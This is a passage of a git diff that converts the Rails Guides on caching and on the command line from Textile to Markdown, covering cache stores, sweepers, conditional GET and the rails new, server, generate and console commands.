-NOTE: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. A workaround for this limitation is to include the parameters in the page's path, e.g. +/productions/page/1+.
+NOTE: Page caching ignores all parameters. For example `/products?page=1` will be written out to the filesystem as `products.html` with no reference to the `page` parameter. Thus, if someone requests `/products?page=2` later, they will get the cached first page. A workaround for this limitation is to include the parameters in the page's path, e.g. `/productions/page/1`.
INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
-h4. Action Caching
+### Action Caching
Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.
-Clearing the cache works in a similar way to Page Caching, except you use +expire_action+ instead of +expire_page+.
+Clearing the cache works in a similar way to Page Caching, except you use `expire_action` instead of `expire_page`.
-Let's say you only wanted authenticated users to call actions on +ProductsController+.
+Let's say you only wanted authenticated users to call actions on `ProductsController`.
-<ruby>
+```ruby
class ProductsController < ActionController
before_filter :authenticate
@@ -113,17 +115,17 @@ class ProductsController < ActionController
end
end
-</ruby>
+```
-You can also use +:if+ (or +:unless+) to pass a Proc that specifies when the action should be cached. Also, you can use +:layout => false+ to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2.
+You can also use `:if` (or `:unless`) to pass a Proc that specifies when the action should be cached. Also, you can use `:layout => false` to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2.
-You can modify the default action cache path by passing a +:cache_path+ option. This will be passed directly to +ActionCachePath.path_for+. This is handy for actions with multiple possible routes that should be cached differently. If a block is given, it is called with the current controller instance.
+You can modify the default action cache path by passing a `:cache_path` option. This will be passed directly to `ActionCachePath.path_for`. This is handy for actions with multiple possible routes that should be cached differently. If a block is given, it is called with the current controller instance.
-Finally, if you are using memcached or Ehcache, you can also pass +:expires_in+. In fact, all parameters not used by +caches_action+ are sent to the underlying cache store.
+Finally, if you are using memcached or Ehcache, you can also pass `:expires_in`. In fact, all parameters not used by `caches_action` are sent to the underlying cache store.
INFO: Action caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
-h4. Fragment Caching
+### Fragment Caching
Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching.
@@ -131,7 +133,7 @@ Fragment Caching allows a fragment of view logic to be wrapped in a cache block
As an example, if you wanted to show all the orders placed on your website in real time and didn't want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code:
-<ruby>
+```html+erb
<% Order.find_recent.each do |o| %>
<%= o.buyer.name %> bought <%= o.product.name %>
<% end %>
@@ -142,42 +144,44 @@ As an example, if you wanted to show all the orders placed on your website in re
<%= link_to p.name, product_url(p) %>
<% end %>
<% end %>
-</ruby>
+```
-The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an +action_suffix+ to the cache call:
+The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an `action_suffix` to the cache call:
-<ruby>
+```html+erb
<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
All available products:
-</ruby>
+```
-and you can expire it using the +expire_fragment+ method, like so:
+and you can expire it using the `expire_fragment` method, like so:
-<ruby>
+```ruby
expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products')
-</ruby>
+```
-If you don't want the cache block to bind to the action that called it, you can also use globally keyed fragments by calling the +cache+ method with a key:
+If you don't want the cache block to bind to the action that called it, you can also use globally keyed fragments by calling the `cache` method with a key:
-<ruby>
+```erb
<% cache('all_available_products') do %>
All available products:
<% end %>
-</ruby>
+```
-This fragment is then available to all actions in the +ProductsController+ using the key and can be expired the same way:
+This fragment is then available to all actions in the `ProductsController` using the key and can be expired the same way:
-<ruby>
+```ruby
expire_fragment('all_available_products')
-</ruby>
+```
-h4. Sweepers
+### Sweepers
-Cache sweeping is a mechanism which allows you to get around having a ton of +expire_{page,action,fragment}+ calls in your code. It does this by moving all the work required to expire cached content into an +ActionController::Caching::Sweeper+ subclass. This class is an observer and looks for changes to an object via callbacks, and when a change occurs it expires the caches associated with that object in an around or after filter.
+Cache sweeping is a mechanism which allows you to get around having a ton of `expire_{page,action,fragment}` calls in your code. It does this by moving all the work required to expire cached content into an `ActionController::Caching::Sweeper` subclass. This class is an observer and looks for changes to an Active Record object via callbacks, and when a change occurs it expires the caches associated with that object in an around or after filter.
+
+TIP: Sweepers rely on the use of Active Record and Active Record Observers. The object you are observing must be an Active Record model.
Continuing with our Product controller example, we could rewrite it with a sweeper like this:
-<ruby>
+```ruby
class ProductSweeper < ActionController::Caching::Sweeper
observe Product # This sweeper is going to keep an eye on the Product model
@@ -205,17 +209,17 @@ class ProductSweeper < ActionController::Caching::Sweeper
expire_fragment('all_available_products')
end
end
-</ruby>
+```
You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire:
-<ruby>
+```ruby
expire_action(:controller => 'products', :action => 'edit', :id => product.id)
-</ruby>
+```
Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following:
-<ruby>
+```ruby
class ProductsController < ActionController
before_filter :authenticate
@@ -227,11 +231,11 @@ class ProductsController < ActionController
end
end
-</ruby>
+```
-Sometimes it is necessary to disambiguate the controller when you call +expire_action+, such as when there are two identically named controllers in separate namespaces:
+Sometimes it is necessary to disambiguate the controller when you call `expire_action`, such as when there are two identically named controllers in separate namespaces:
-<ruby>
+```ruby
class ProductsController < ActionController
caches_action :index
@@ -261,17 +265,17 @@ class ProductSweeper < ActionController::Caching::Sweeper
expire_action(:controller => '/products', :action => 'index')
end
end
-</ruby>
+```
-Note the use of '/products' here rather than 'products'. If you wanted to expire an action cache for the +Admin::ProductsController+, you would use 'admin/products' instead.
+Note the use of '/products' here rather than 'products'. If you wanted to expire an action cache for the `Admin::ProductsController`, you would use 'admin/products' instead.
-h4. SQL Caching
+### SQL Caching
Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.
For example:
-<ruby>
+```ruby
class ProductsController < ActionController
def index
@@ -285,153 +289,156 @@ class ProductsController < ActionController
end
end
-</ruby>
+```
The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.
However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can in Rails by using low level caching.
-h3. Cache Stores
+Cache Stores
+------------
Rails provides different stores for the cached data created by <b>action</b> and <b>fragment</b> caches.
TIP: Page caches are always stored on disk.
-h4. Configuration
+### Configuration
-You can set up your application's default cache store by calling +config.cache_store=+ in the Application definition inside your +config/application.rb+ file or in an Application.configure block in an environment specific configuration file (i.e. +config/environments/*.rb+). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor.
+You can set up your application's default cache store by calling `config.cache_store=` in the Application definition inside your `config/application.rb` file or in an Application.configure block in an environment specific configuration file (i.e. `config/environments/*.rb`). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor.
-<ruby>
+```ruby
config.cache_store = :memory_store
-</ruby>
+```
-NOTE: Alternatively, you can call +ActionController::Base.cache_store+ outside of a configuration block.
+NOTE: Alternatively, you can call `ActionController::Base.cache_store` outside of a configuration block.
-You can access the cache by calling +Rails.cache+.
+You can access the cache by calling `Rails.cache`.
-h4. ActiveSupport::Cache::Store
+### ActiveSupport::Cache::Store
This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.
-The main methods to call are +read+, +write+, +delete+, +exist?+, and +fetch+. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.
+The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.
There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.
-* +:namespace+ - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment.
+* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment.
-* +:compress+ - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
+* `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
-* +:compress_threshold+ - This options is used in conjunction with the +:compress+ option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.
+* `:compress_threshold` - This options is used in conjunction with the `:compress` option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.
-* +:expires_in+ - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.
+* `:expires_in` - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.
-* +:race_condition_ttl+ - This option is used in conjunction with the +:expires_in+ option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the +:expires_in+ option.
+* `:race_condition_ttl` - This option is used in conjunction with the `:expires_in` option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the `:expires_in` option.
-h4. ActiveSupport::Cache::MemoryStore
+### ActiveSupport::Cache::MemoryStore
-This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the +:size+ options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.
+This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the `:size` options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.
-<ruby>
+```ruby
config.cache_store = :memory_store, { :size => 64.megabytes }
-</ruby>
+```
If you're running multiple Ruby on Rails server processes (which is the case if you're using mongrel_cluster or Phusion Passenger), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments, but can work well for small, low traffic sites with only a couple of server processes or for development and test environments.
This is the default cache store implementation.
-h4. ActiveSupport::Cache::FileStore
+### ActiveSupport::Cache::FileStore
This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
-<ruby>
+```ruby
config.cache_store = :file_store, "/path/to/cache/directory"
-</ruby>
+```
With this cache store, multiple server processes on the same host can share a cache. Servers processes running on different hosts could share a cache by using a shared file system, but that set up would not be ideal and is not recommended. The cache store is appropriate for low to medium traffic sites that are served off one or two hosts.
Note that the cache will grow until the disk is full unless you periodically clear out old entries.
-h4. ActiveSupport::Cache::MemCacheStore
+### ActiveSupport::Cache::MemCacheStore
-This cache store uses Danga's +memcached+ server to provide a centralized cache for your application. Rails uses the bundled +memcache-client+ gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
+This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites.
-The +write+ and +fetch+ methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify +:raw+ to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like +increment+ and +decrement+ only on raw values. You can also specify +:unless_exist+ if you don't want memcached to overwrite an existing entry.
+The `write` and `fetch` methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify `:raw` to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like `increment` and `decrement` only on raw values. You can also specify `:unless_exist` if you don't want memcached to overwrite an existing entry.
-<ruby>
+```ruby
config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
-</ruby>
+```
-h4. ActiveSupport::Cache::EhcacheStore
+### ActiveSupport::Cache::EhcacheStore
If you are using JRuby you can use Terracotta's Ehcache as the cache store for your application. Ehcache is an open source Java cache that also offers an enterprise version with increased scalability, management, and commercial support. You must first install the jruby-ehcache-rails3 gem (version 1.1.0 or later) to use this cache store.
-<ruby>
+```ruby
config.cache_store = :ehcache_store
-</ruby>
+```
-When initializing the cache, you may use the +:ehcache_config+ option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache).
+When initializing the cache, you may use the `:ehcache_config` option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache).
-In addition to the standard +:expires_in+ option, the +write+ method on this cache can also accept the additional +:unless_exist+ option, which will cause the cache store to use Ehcache's +putIfAbsent+ method instead of +put+, and therefore will not overwrite an existing entry. Additionally, the +write+ method supports all of the properties exposed by the "Ehcache Element class":http://ehcache.org/apidocs/net/sf/ehcache/Element.html , including:
+In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including:
-|_. Property |_. Argument Type |_. Description |
-| elementEvictionData | ElementEvictionData | Sets this element's eviction data instance. |
-| eternal | boolean | Sets whether the element is eternal. |
-| timeToIdle, tti | int | Sets time to idle |
-| timeToLive, ttl, expires_in | int | Sets time to Live |
-| version | long | Sets the version attribute of the ElementAttributes object. |
+| Property | Argument Type | Description |
+| --------------------------- | ------------------- | ----------------------------------------------------------- |
+| elementEvictionData | ElementEvictionData | Sets this element's eviction data instance. |
+| eternal | boolean | Sets whether the element is eternal. |
+| timeToIdle, tti | int | Sets time to idle |
+| timeToLive, ttl, expires_in | int | Sets time to Live |
+| version | long | Sets the version attribute of the ElementAttributes object. |
-These options are passed to the +write+ method as Hash options using either camelCase or underscore notation, as in the following examples:
+These options are passed to the `write` method as Hash options using either camelCase or underscore notation, as in the following examples:
-<ruby>
+```ruby
Rails.cache.write('key', 'value', :time_to_idle => 60.seconds, :timeToLive => 600.seconds)
caches_action :index, :expires_in => 60.seconds, :unless_exist => true
-</ruby>
+```
-For more information about Ehcache, see "http://ehcache.org/":http://ehcache.org/ .
-For more information about Ehcache for JRuby and Rails, see "http://ehcache.org/documentation/jruby.html":http://ehcache.org/documentation/jruby.html
+For more information about Ehcache, see [http://ehcache.org/](http://ehcache.org/) .
+For more information about Ehcache for JRuby and Rails, see [http://ehcache.org/documentation/jruby.html](http://ehcache.org/documentation/jruby.html)
-h4. ActiveSupport::Cache::NullStore
+### ActiveSupport::Cache::NullStore
-This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with +Rails.cache+, but caching may interfere with being able to see the results of code changes. With this cache store, all +fetch+ and +read+ operations will result in a miss.
+This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache`, but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss.
-<ruby>
+```ruby
config.cache_store = :null_store
-</ruby>
+```
-h4. Custom Cache Stores
+### Custom Cache Stores
-You can create your own custom cache store by simply extending +ActiveSupport::Cache::Store+ and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application.
+You can create your own custom cache store by simply extending `ActiveSupport::Cache::Store` and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application.
To use a custom cache store, simple set the cache store to a new instance of the class.
-<ruby>
+```ruby
config.cache_store = MyCacheStore.new
-</ruby>
+```
-h4. Cache Keys
+### Cache Keys
-The keys used in a cache can be any object that responds to either +:cache_key+ or to +:to_param+. You can implement the +:cache_key+ method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.
+The keys used in a cache can be any object that responds to either `:cache_key` or to `:to_param`. You can implement the `:cache_key` method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.
You can use Hashes and Arrays of values as cache keys.
-<ruby>
+```ruby
# This is a legal cache key
Rails.cache.read(:site => "mysite", :owners => [owner_1, owner_2])
-</ruby>
+```
-The keys you use on +Rails.cache+ will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with +Rails.cache+ and then try to pull them out with the +memcache-client+ gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.
+The keys you use on `Rails.cache` will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with `Rails.cache` and then try to pull them out with the `memcache-client` gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.
-h3. Conditional GET support
+Conditional GET support
+-----------------------
Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.
-They work by using the +HTTP_IF_NONE_MATCH+ and +HTTP_IF_MODIFIED_SINCE+ headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status.
+They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status.
It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:
-<ruby>
+```ruby
class ProductsController < ApplicationController
def show
@@ -439,7 +446,7 @@ class ProductsController < ApplicationController
# If the request is stale according to the given timestamp and etag value
# (i.e. it needs to be processed again) then execute this block
- if stale?(:last_modified => @product.updated_at.utc, :etag => @product)
+ if stale?(:last_modified => @product.updated_at.utc, :etag => @product.cache_key)
respond_to do |wants|
# ... normal response processing
end
@@ -451,11 +458,22 @@ class ProductsController < ApplicationController
# :not_modified. So that's it, you're done.
end
end
+```
+
+Instead of a options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`:
+
+<ruby>
+class ProductsController < ApplicationController
+ def show
+ @product = Product.find(params[:id])
+ respond_with(@product) if stale?(@product)
+ end
+end
</ruby>
If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when:
-<ruby>
+```ruby
class ProductsController < ApplicationController
# This will automatically send back a :not_modified if the request is fresh,
@@ -466,8 +484,9 @@ class ProductsController < ApplicationController
fresh_when :last_modified => @product.published_at.utc, :etag => @product
end
end
-</ruby>
+```
-h3. Further reading
+Further reading
+---------------
-* "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails
+* [Scaling Rails Screencasts](http://railslab.newrelic.com/scaling-rails)
diff --git a/guides/source/command_line.textile b/guides/source/command_line.md
index 39b75c2781..b66b30a117 100644
--- a/guides/source/command_line.textile
+++ b/guides/source/command_line.md
@@ -1,4 +1,5 @@
-h2. A Guide to The Rails Command Line
+A Guide to The Rails Command Line
+=================================
Rails comes with every command line tool you'll need to
@@ -8,32 +9,33 @@ Rails comes with every command line tool you'll need to
* Experiment with objects through an interactive shell
* Profile and benchmark your new creation
-endprologue.
+--------------------------------------------------------------------------------
-NOTE: This tutorial assumes you have basic Rails knowledge from reading the "Getting Started with Rails Guide":getting_started.html.
+NOTE: This tutorial assumes you have basic Rails knowledge from reading the [Getting Started with Rails Guide](getting_started.html).
WARNING. This Guide is based on Rails 3.2. Some of the code shown here will not work in earlier versions of Rails.
-h3. Command Line Basics
+Command Line Basics
+-------------------
There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
-* <tt>rails console</tt>
-* <tt>rails server</tt>
-* <tt>rake</tt>
-* <tt>rails generate</tt>
-* <tt>rails dbconsole</tt>
-* <tt>rails new app_name</tt>
+* `rails console`
+* `rails server`
+* `rake`
+* `rails generate`
+* `rails dbconsole`
+* `rails new app_name`
Let's create a simple Rails application to step through each of these commands in context.
-h4. +rails new+
+### `rails new`
-The first thing we'll want to do is create a new Rails application by running the +rails new+ command after installing Rails.
+The first thing we'll want to do is create a new Rails application by running the `rails new` command after installing Rails.
-INFO: You can install the rails gem by typing +gem install rails+, if you don't have it already.
+INFO: You can install the rails gem by typing `gem install rails`, if you don't have it already.
-<shell>
+```bash
$ rails new commandsapp
create
create README.rdoc
@@ -46,19 +48,19 @@ $ rails new commandsapp
create tmp/cache
...
run bundle install
-</shell>
+```
Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
-h4. +rails server+
+### `rails server`
-The +rails server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
+The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
-INFO: WEBrick isn't your only option for serving Rails. We'll get to that "later":#different-servers.
+INFO: WEBrick isn't your only option for serving Rails. We'll get to that [later](#server-with-different-backends).
-With no further work, +rails server+ will run our new shiny Rails app:
+With no further work, `rails server` will run our new shiny Rails app:
-<shell>
+```bash
$ cd commandsapp
$ rails server
=> Booting WEBrick
@@ -68,27 +70,27 @@ $ rails server
[2012-05-28 00:39:41] INFO WEBrick 1.3.1
[2012-05-28 00:39:41] INFO ruby 1.9.2 (2011-02-18) [x86_64-darwin11.2.0]
[2012-05-28 00:39:41] INFO WEBrick::HTTPServer#start: pid=69680 port=3000
-</shell>
+```
-With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open "http://localhost:3000":http://localhost:3000, you will see a basic Rails app running.
+With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running.
-INFO: You can also use the alias "s" to start the server: <tt>rails s</tt>.
+INFO: You can also use the alias "s" to start the server: `rails s`.
-The server can be run on a different port using the +-p+ option. The default development environment can be changed using +-e+.
+The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`.
-<shell>
+```bash
$ rails server -e production -p 4000
-</shell>
+```
-The +-b+ option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a +-d+ option.
+The `-b` option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a `-d` option.
-h4. +rails generate+
+### `rails generate`
-The +rails generate+ command uses templates to create a whole lot of things. Running +rails generate+ by itself gives a list of available generators:
+The `rails generate` command uses templates to create a whole lot of things. Running `rails generate` by itself gives a list of available generators:
-INFO: You can also use the alias "g" to invoke the generator command: <tt>rails g</tt>.
+INFO: You can also use the alias "g" to invoke the generator command: `rails g`.
-<shell>
+```bash
$ rails generate
Usage: rails generate GENERATOR [args] [options]
@@ -103,17 +105,17 @@ Rails:
generator
...
...
-</shell>
+```
NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
-Using generators will save you a large amount of time by writing *boilerplate code*, code that is necessary for the app to work.
+Using generators will save you a large amount of time by writing **boilerplate code**, code that is necessary for the app to work.
Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
-INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding +--help+ or +-h+ to the end, for example +rails server --help+.
+INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`.
-<shell>
+```bash
$ rails generate controller
Usage: rails generate controller NAME [action action] [options]
@@ -136,11 +138,11 @@ Example:
Functional Test: test/functional/credit_card_controller_test.rb
Views: app/views/credit_card/debit.html.erb [...]
Helper: app/helpers/credit_card_helper.rb
-</shell>
+```
-The controller generator is expecting parameters in the form of +generate controller ControllerName action1 action2+. Let's make a +Greetings+ controller with an action of *hello*, which will say something nice to us.
+The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us.
-<shell>
+```bash
$ rails generate controller Greetings hello
create app/controllers/greetings_controller.rb
route get "greetings/hello"
@@ -158,41 +160,41 @@ $ rails generate controller Greetings hello
create app/assets/javascripts/greetings.js.coffee
invoke scss
create app/assets/stylesheets/greetings.css.scss
-</shell>
+```
What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file.
-Check out the controller and modify it a little (in +app/controllers/greetings_controller.rb+):
+Check out the controller and modify it a little (in `app/controllers/greetings_controller.rb`):
-<ruby>
+```ruby
class GreetingsController < ApplicationController
def hello
@message = "Hello, how are you today?"
end
end
-</ruby>
+```
-Then the view, to display our message (in +app/views/greetings/hello.html.erb+):
+Then the view, to display our message (in `app/views/greetings/hello.html.erb`):
-<html>
+```erb
<h1>A Greeting for You!</h1>
<p><%= @message %></p>
-</html>
+```
-Fire up your server using +rails server+.
+Fire up your server using `rails server`.
-<shell>
+```bash
$ rails server
=> Booting WEBrick...
-</shell>
+```
-The URL will be "http://localhost:3000/greetings/hello":http://localhost:3000/greetings/hello.
+The URL will be [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello).
-INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller.
+INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the **index** action of that controller.
Rails comes with a generator for data models too.
-<shell>
+```bash
$ rails generate model
Usage:
rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
@@ -207,15 +209,15 @@ ActiveRecord options:
Description:
Create rails files for model generator.
-</shell>
+```
-NOTE: For a list of available field types, refer to the "API documentation":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column for the column method for the +TableDefinition+ class.
+NOTE: For a list of available field types, refer to the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column) for the column method for the `TableDefinition` class.
-But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
+But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A **scaffold** in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
-<shell>
+```bash
$ rails generate scaffold HighScore game:string score:integer
invoke active_record
create db/migrate/20120528060026_create_high_scores.rb
@@ -246,80 +248,80 @@ $ rails generate scaffold HighScore game:string score:integer
create app/assets/stylesheets/high_scores.css.scss
invoke scss
create app/assets/stylesheets/scaffolds.css.scss
-</shell>
+```
-The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything.
+The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything.
-The migration requires that we *migrate*, that is, run some Ruby code (living in that +20120528060026_create_high_scores.rb+) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the +rake db:migrate+ command. We'll talk more about Rake in-depth in a little while.
+The migration requires that we **migrate**, that is, run some Ruby code (living in that `20120528060026_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
-<shell>
+```bash
$ rake db:migrate
== CreateHighScores: migrating ===============================================
-- create_table(:high_scores)
-> 0.0017s
== CreateHighScores: migrated (0.0019s) ======================================
-</shell>
+```
INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
Let's see the interface Rails created for us.
-<shell>
+```bash
$ rails server
-</shell>
+```
-Go to your browser and open "http://localhost:3000/high_scores":http://localhost:3000/high_scores, now we can create new high scores (55,160 on Space Invaders!)
+Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!)
-h4. +rails console+
+### `rails console`
-The +console+ command lets you interact with your Rails application from the command line. On the underside, +rails console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
+The `console` command lets you interact with your Rails application from the command line. On the underside, `rails console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
-INFO: You can also use the alias "c" to invoke the console: <tt>rails c</tt>.
+INFO: You can also use the alias "c" to invoke the console: `rails c`.
-You can specify the environment in which the +console+ command should operate.
+You can specify the environment in which the `console` command should operate.
-<shell>
+```bash
$ rails console staging
-</shell>
